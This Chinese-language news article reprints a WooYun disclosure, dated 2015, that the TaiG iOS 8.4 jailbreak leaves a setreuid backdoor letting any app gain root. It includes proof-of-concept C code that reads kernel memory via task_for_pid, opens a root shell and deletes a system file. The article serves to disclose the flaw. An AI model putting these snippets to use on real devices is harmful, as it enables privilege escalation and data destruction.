首頁手機軟件文章→ iOS 8.4完美越獄太極有重大安全后門

iOS 8.4完美越獄太極有重大安全后門

作者:瀟瀟來源:本站整理2015/7/1 22:26:40我要評論

蘋果iOS 8的完美越獄幾乎都是由國內(nèi)團隊完成的,很多網(wǎng)友都覺得很驕傲,但是現(xiàn)在卻曝出了很嚴重的問題。

國內(nèi)著名的烏云漏洞報告平臺剛剛通過官方微博表示,太極越獄(iOS 8.1.3-8.4完美越獄工具)在越獄過程中修改了系統(tǒng)關鍵API,導致任意APP都可以獲取到iPhone最高權限,對系統(tǒng)穩(wěn)定性以及數(shù)據(jù)隱私安全性造成影響。

具體來說,太極越獄修改了setreuid這個關鍵系統(tǒng)API,導致任意APP都可以直接調(diào)用setreuid(0,0)獲得Root執(zhí)行權限,從而可以修改任意系統(tǒng)文件、也可以task_for_pid打開系統(tǒng)內(nèi)核句柄從而完全控制系統(tǒng)底層。

舉例來說,通過寫入系統(tǒng)目錄“/Library/LaunchDaemons”可以注冊系統(tǒng)服務,從而植入木馬、病毒、盜號工具威脅用戶隱私數(shù)據(jù)和密碼。

感興趣的用戶可以到烏云網(wǎng)站上查看這個報告的詳情。

太極越獄安全后門烏云平臺報告:

背景

太極越獄iOS8.1.3-8.4含有重大安全后門,越獄后導致任意APP可以提權到Root,從而影響用戶數(shù)據(jù)的安全。舉例來說獲取Root權限后可以完全控制系統(tǒng)文件,甚至進一步安裝木馬等嚴重威脅用戶安全的惡意軟件。

細節(jié)

具體分析結果顯示太極越獄修改了setreuid這個關鍵系統(tǒng)API,導致任意APP都可以直接調(diào)用setreuid(0,0)獲得Root執(zhí)行權限,從而可以修改任意系統(tǒng)文件、也可以task_for_pid打開系統(tǒng)內(nèi)核句柄從而完全控制系統(tǒng)底層。例如通過寫入系統(tǒng)目錄“/Library/LaunchDaemons”可以注冊系統(tǒng)服務,從而植入木馬、病毒、盜號工具威脅用戶隱私數(shù)據(jù)和密碼。

漏洞重現(xiàn)演示如下圖:

enter image description here

示例一:通過test_taig_backdoor1程序讀取內(nèi)核內(nèi)存

enter image description here

示例二:通過test_taig_backdoor2獲得root權限shell

test_taig_backdoor讀取任意內(nèi)核poc代碼:

#!c
#include <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/param.h>
#include <spawn.h>
#include <mach/mach.h>

void dump_kernel_memory(vm_address_t addr)
{
   kern_return_t kret;
   mach_port_t proc_task = 0;
   vm_size_t ret_size = 0;
   vm_size_t i;
   char buffer[128] = {0};
   int ret;

   ret = task_for_pid(mach_task_self(), 0, &proc_task);
   if (ret != 0)
   {
       NSLog(@"[err] get tfp0 fail: %d", ret);
       return;
   }

   NSLog(@"task for pid 0 = %u", proc_task);

       kret = vm_read_overwrite(proc_task,
                               addr,
                               sizeof(buffer),
                                 (vm_address_t)buffer,
                                  &ret_size);

   char *info = malloc(4096);
   info[0] = '\0';

   for (i = 0; i < ret_size; i++)
   {
       if (i % 16 == 0) sprintf(info + strlen(info), "\n%p: ", (void *)(addr + i));
       sprintf(info + strlen(info), "0x%02x ", *(uint8_t*)(buffer + i));
   }
   NSLog(@"%s", info);

   free(info);
}

int main (int argc, const char * argv[])
{
   if (argc != 2)
   {
       NSLog(@"%s [kernel_address]", argv[0]);
       return 0;
   }

   NSLog(@"current uid=%d euid=%d", getuid(), geteuid());

   /*
   * taig backdoor test
   */

   setreuid(0,0);

   NSLog(@"now uid=%d euid=%d", getuid(), geteuid());

   vm_address_t addr = strtoul(argv[1], NULL, 16);
   dump_kernel_memory(addr);

   return 0;
}

test_taig_backdoor2提權poc代碼:

#!c
void get_root_shell
{
   setreuid(0,0);
   system("/bin/bash -i");
}

在APP中添加下面的代碼進行刪除文件測試(謹慎執(zhí)行):

#!c
void testBackdoor()
{
NSLog(@"當前運行進程 uid=%d euid=%d", getuid(), geteuid());
setreuid(0,0);
NSLog(@"后門提權后,當前運行進程 uid=%d euid=%d", getuid(), geteuid());

NSLog(@"刪除任意文件演示(該測試會導致Cydia無法運行,請謹慎執(zhí)行)");
unlink("/Applications/Cydia.app/MobileCydia");
}

太極越獄iOS8.0-8.1.1未能找到機器進行測試,可能也有此重大后門。

總結

越獄軟件中藏有安全后門并非沒有先例。早在針對iOS 7的完美越獄工具evasi0n7中,越獄開發(fā)者evad3rs就修改了第0號系統(tǒng)調(diào)用,導致任意app可以輕易獲得內(nèi)核代碼執(zhí)行的能力。這一做法也引起越獄大神winocm的強烈不滿(http://winocm.moe/projects/research/2014/01/11/evading-ios-security/)。早在2014年Winocm在博文中就已經(jīng)質(zhì)疑太極是否在利用這個后門。

太極越獄與evad3rs的“緋聞”一直沒有間斷。據(jù)福布斯報道(http://www.forbes.com/sites/thomasbrewster/2015/06/26/china-iphone-jailbreak-industry/)(http://mobile.163.com/15/0630/10/ATBNV93H0011671M.html), 太極曾支付evad3rs高達一百萬美金用于越獄合作開發(fā),該合作的產(chǎn)物就是evasi0n7強制安裝“太極助手”的鬧劇。至于太極越獄的安全后門是“慣犯”還是“初犯”的謎底恐怕就無法揭開了。

相關下載:

ios8.4完美越獄工具 系統(tǒng)工具 - 125.7M

0相關評論

發(fā)表評論

最新最熱相關資源

安卓蘋果應用推薦